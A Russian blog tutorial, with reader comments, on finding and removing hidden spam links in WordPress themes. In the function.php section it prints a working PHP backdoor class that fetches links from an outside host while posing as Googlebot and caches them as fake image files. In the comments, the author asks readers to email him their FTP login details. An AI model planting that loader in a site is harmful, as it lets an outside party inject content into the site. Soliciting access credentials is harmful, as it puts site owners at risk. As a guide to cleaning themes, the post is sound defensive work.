Доброго времени суток, уважаемые читатели блога AzbukaBloga.ru. Сегодня мы будем с вами выступать в роли охотников за привидениями, а этими приведениями будут скрытые ссылки в шаблоне WordPress. Готовы поймать несколько приведений? Тогда, «нам снова вызов, на в путь опять…»
Как я и обещал в прошлой статье «Коллекция сайтов с шаблонами WordPress», сегодня мы займемся поиском и удалением скрытых ссылок в шаблоне.
Для того чтобы найти ссылки, нам нужно установить один плагин под названием Theme Authenticity Checker или сокращенно – TAC (О том , как правильно устанавливать плагины, я писал в этой статье).
Устанавливаем плагин по стандартной схеме.
Плагины – Добавить новый – Поиск – TAC – Установить – Активировать
После этого переходим на страницу плагина Theme Authenticity Checker (TAC), для этого в меню нажимаем «Внешний вид — TAC». Здесь вы можете видеть все установленные шаблоны, с небольшими превью.
Напротив каждой из тем есть информационные сообщения, на которые стоит обратить внимание. Если рядом с темой расположен зеленый прямоугольник с надписью «Theme OK» – это значит, что плагин не нашел в шаблоне скрытых закодированных ссылок. У вас почти чистенький шаблончик.
Если, рядом с миниатюрой изображения вашей темы находятся следующие сообщения,
то это означает, что плагин TAC нашел скрытые и обычные ссылки в вашем шаблоне. Для того чтобы узнать подробности, нажмите на кнопку Details,
Как видите, у нас в шаблоне есть одна закодированная ссылка и обычная html ссылка.
Для того, чтобы их удалить, воспользуемся бесплатным текстовым редактором notepad ++ и в нем откроем файл — inc.php. Где он находится? Это вы можете посмотреть по подсказке, которую вывел плагин ( на скриншоте это показано стрелками).После того, как вы откроете inc.php идем в меню «Поиск»
и вводим base64
Удаляем весь код связанный с base64, я вообще рекомендую «затереть» всю 73 строчку. Для этого жмем на область с номером строчке и жмем «Дел» на клавиатуре. После этого сохраняем фаил.
Также, скорей всего нам и не нужен файл inc.php в теме. Он создан специально, чтобы в нем замаскировать закодированную ссылку и ЗАПУТАТЬ НАС, поэтому желательно найти строчку вызова данного php в файлах вашей темы и удалить ее. Для поиска строки вызова я использую «Total Comander». Вот, что я делаю
Шаг 1. Запускаю тотал и перехожу в папку темы вордпресс, затем жму на кнопку «Команд-Поиск файлов»
Шаг 2. Активирую поле «С текстом» и ввожу нужный фрагмент текста, в нашем случае это inc.php и нажимаю «Начать поиск»
Шаг 3. Затем, в результатах поиска смотрим, в каком именно файле темы находится наш фрагмент текста, в моем случае — это sidebar.php
Шаг 4. С помощью того же редактора notepad ++ открываем sidebar.php. Затем ищем фрагмент кода с inc.php и удаляем его. Сохраняем файл.
Шаг 5. Далее в редакторе открываем следующий файл темы, в котором содержится обычная ссылка, в нашем случае — это файл footer.php и удаляем ее. Для этого можете через поиск найти тот код ссылки, который показал плагин TAC и удалить его.
Шаг 6. Возвращаемся в админку блога, и обновляем страничку с плагина TAC. Теперь рядом с нашей темой будет «зеленый свет».
Вот таким образом друзья мы ПОЧТИ почистили шаблон от скрытых ссылок. Почему почти спросите вы? Да просто потому, что я сейчас покажу еще «рыбные места» где могут быть зарыты нехорошие ссылки.
А что там в function.php?
Следующим файлом в проверки служит именно файл настроек вашей темы, под названием function.php, именно сюда стоит обратить взор в первую очередь. Так вот, что я нашел интересного здесь? Пролистав весь код до конца, обнаружил следующую конструкцию
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
class Get_links { var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) );
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data; } return '<!--link error-->'; }
function return_links($lib_path) { $links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file)) { @touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data); return $data; }
else { $data = file_get_contents($file); return $data; } } } ?>
содержащую непонятный класс под названием class Get_links. Проанализировав весь код, я обнаружил, что в папке картинок wp-content/uploads/2013/ создаются «картинки» с странными цифрами, к которым я не имею не кого отношения.
Поискав немного информации в сети, я наткнулся вот на этот сайт, где разбиралась подобная тема. Оказалось, что помимо вредного кода в файле function.php, сами ссылки выводятся через конструкцию
которая вставлена в файл вывода комментариев на блоге — comments.php
И действительно, открыв файл comments.php, в самом низу я и обнаружил «нехороший код», который как вы догадались, я незамедлительно отправил во своя се, нажав волшебную кнопку «Del»
От сюда напрашивается главный вывод:
Поэтому друзья, устанавливайте только темы с официального хранилища тем wordpress или же, приобретайте платные официальные темы. Это будет вам гарантией того, что не какой лишний мусор не затеряется в просторах темы, и ваш любимый блог будет всегда на плаву.
На сегодня это все. Удачи вам, и до скорой встречи на azbukabloga.ru
А как вы боретесь со скрытыми ссылками???
Чтобы быть готовым к любым неприятным ситуациям на блоге, у вас всегда под рукой должна быть резервная копия сайта, вот как раз об этом читайте в моей новой статье. Не пропустите ее, подписывайтесь на обновления.
Привет, Антон! Что я хочу сказать о статье:
1) Зачем удалять 73 строку в inc.php, если это комментарий?
2) Не думаю, что стоит удалять файлы типа inc.php. Вполне возможно, что разработчики вставили не только вредный код, но и полезные и необходимые функции.
Еще на счет покупки тем. Если Вам очень понравилась именно та бесплатная тема, то обычно данные ссылки шифруют, чтобы выводит сообщение, мол «пользуйтесь темой с ссылками или платите», получается ее можно будет купить без зашифрованных данных и ссылок.
Все дело в том Кость, что в 73 строке содержится не только комментарий, а в сам ее конце , далеко-далеко в право стороне есть открытый код ( без комментария) вот он и выводится. Поэтому я и удалил все эту строчку ))))
А за действительно хорошие темы и не жалко заплатить.
А тогда надо было просто показать тот код на скрине, все было бы понятно:)
Проверил плагином.Все ок, только «1 Static Link(s) Found…» Нажимаю «Детали», ничего не происходит. Просканировал сканером хостинга, большинство «shell»,»brute» В категории:»Вставка рекламных кодов, sape и другие возможно чужеродные», обнаружил:
1.($key = 0, $rel = ‘alternate’) { $links = $this->Get_Links($rel); if (isset($links[$key])) { return $
2.XTENSION | SIMPLEPIE_LOCATOR_REMOTE_BODY) && $this->Get_Links()) { if ($type & SIMPLEPIE_LOCATOR_LOCAL_EXT
Их надо удалять?
Я бы удалил, так как и в 1 и в 2 идет запрос Get_Links, что не есть хорошо ((
А, вообще, для каждого разработчика таких вредных тем надо искать новое решение для удаления данных ссылок. Единственное, неизменным будет плагин TAC, для проверки на наличие зашифрованных данных
А я проверил только футор и мне хватает. Возможно когда будет развиваться блог еще проверю на скрытые ссылки…
Да, в футоре всегда полно всякого мусора) но многие темы так напичканы ссылками, что просто жуть….
Любые ссылки в коде, можно удалять? В хэйдере есть такая строчка:
Я ее удалил только что, обновил, и ничего не произошло. Еще есть: Проверил эти сайты, работают, но не понятно какую роль они выполняют. Или они каким то образом поддерживают какие то функции на блоге. Как думаете?
Ссылки в качестве примера, не прошли защиту от спама наверное)
Максим, каждые ссылки индивидуальны. Если ссылки в шапке, то скорей всего некоторые из них подключают дополнительные функции к блогу, например Джеквери. Надо смотреть, пришлите ссылки в текстовом виде мне на почту fynjyol@gmail.com Гляну на досуге)
Привет. Антон не подскажешь. У меня полно скрытых ссылок плагин не чего не находит. Вот пример ссылка моей страницы sovetysadovodam.ru/category/lekarstvennye-rasteniya на ней скрытая ссылка avtoslesar232.ru просто нажимаю посмотреть код страницы она там есть. А как ее найти не знаю весь редактор в админке перерыл все видимые ссылки удалил. А как эти найти? Заранее Спасибо
Здравствуйте Алексей! Спасибо за комментарий. Сейчас посмотрел ваш блог, у вас скрытые ссылки в каждой категории. Нужно просматривать все файлы шаблона и function.php. Если хотите, скиньте мне на почту fynjyol@gmail.com данные для доступа по Ftp к вашему блогу и я постараюсь вам помочь. Самому интересно найти, где же они у вас сидят.
Спасибо Антон за статью, помогло.
Рад, что помогло )
Добрый день Антон! Хочу поменять шаблон сайта, но в футере есть ссылки, плагином найти их не могу, а в footer их нету. Интересно где они могут быть спрятаны.
Здравствуйте Дмитрий! А откуда вы знаете, что ссылки есть? Через исходный код показывается? Очень много мест, где могут быть спрятаны ссылки. Если хотите могу глянуть на досуге. Только нужен будет доступ к ФТП.
Добрый день, Антон. По вопросу, как я проверяю скрытые ссылки,- использую несколько сервисов. Покажу и сразу объясню свою проблему, возможно, сможете помочь? Шаблон из паблика, чистил вручную и плагином TAC.
1. _http://e.megaindex.ru/analysis/ http://floomby.ru/s1/vYzUCC (Видно несколько скрытых зашифрованных ссылок, которые явно не мои и в простом поиске не обнаруживаются, base64 нет)
2. _http://www.dinews.ru/ http://floomby.ru/s1/bYAuSy
Ссылки могут сейчас в любом месте сидеть. Для более детального изучения и поиска ваших скрытых ссылок нужен доступ к шаблону. Можете заархивировать папку с шаблоном и скинуть мне на fynjyol@gmail.com. Постараюсь разобраться.
Антон, привет. Попробовал установить на своем сайте маленькую игру. Она мне и на фиг не нужна была — просто хотел понять, как это делается. В результате — появилась скрытая ссылка, которая прекрасно видна внизу каждой странички. С главной я её быстро убрал, а вот со страниц — не могу. Перерыл весь редактор. Плагин TAC не помогает. Да и хорошими знаниями, в этой области, я пока не обладаю. Может, что-нибудь посоветуешь?
А у меня 100% нет скрытых ссылок, так как у меня стандартный шаблон twentyten только пришлось хорошенько поработать над style.css
Иногда попадались темы где подвал полностью зашифрован, код не исправить, а если полностью удалить, то диз становится жутко кривой и непонятно как исправить.
За пост спасибо, не знал как искать не хорошие вещи в темах!!!
Спасибо большое, за такую полезную статью! Я нашла свои скрытые ссылки и теперь, надеюсь, мой сайт вернётся в индекс.
Спасибо за комментарий Юлия! А давно ваш сайт под фильтром? Какой возраст у вашего сайта?
Домену полтора года, но наполнять я его начала только этой весной. А разве мой сайт уже в бане? Я его проверяла, вроде бы не в бане, хотя я не знаю…
А выпадать страницы из поиска начали после регистрации в каталогах и добавления на сайт файла robot.txt (я это сделала практически в одно время) где-то месяц-полтора назад
Я сейчас посмотрел, у вас по ЯНдексу только одна главная страница в поиске а остальных статей нет, хотя должны и быть.((
Добрый день. А у меня такая ситуация — на сайте висит ссылка на казино, причём ни плагин TAC, ни ресурсы по анализу сайта и внешних ссылок её не видят, в DOM её тоже не видно. Обнаружить её можно только в сниппете гугла, если в строку поиска ввести полный урл сайта, в других поисковиках её также не видно. С одной стороны, скорее всего, данная ссылка на сайт не должна действовать негативно (хотя мб я и ошибаюсь), а с другой стороны любопытно хотя бы то, где она находится в шаблоне.
Здравствуйте! Если вы сами не можете найти, то обычно ссылка скрывается в файле function.php вашей темы. Но и не совсем в виде ссылки а в мде зашифрованного кода. Если хотите, скиньте данный файл мне на почту fynjyol@gmail.com.
Спасибо Антон. С помощью вашей статьи и плагина наконец-таки смог найти и удалить скрытые ссылки в своем блоге. Только нашел их в хайдере, а файла inc.php у меня и не было.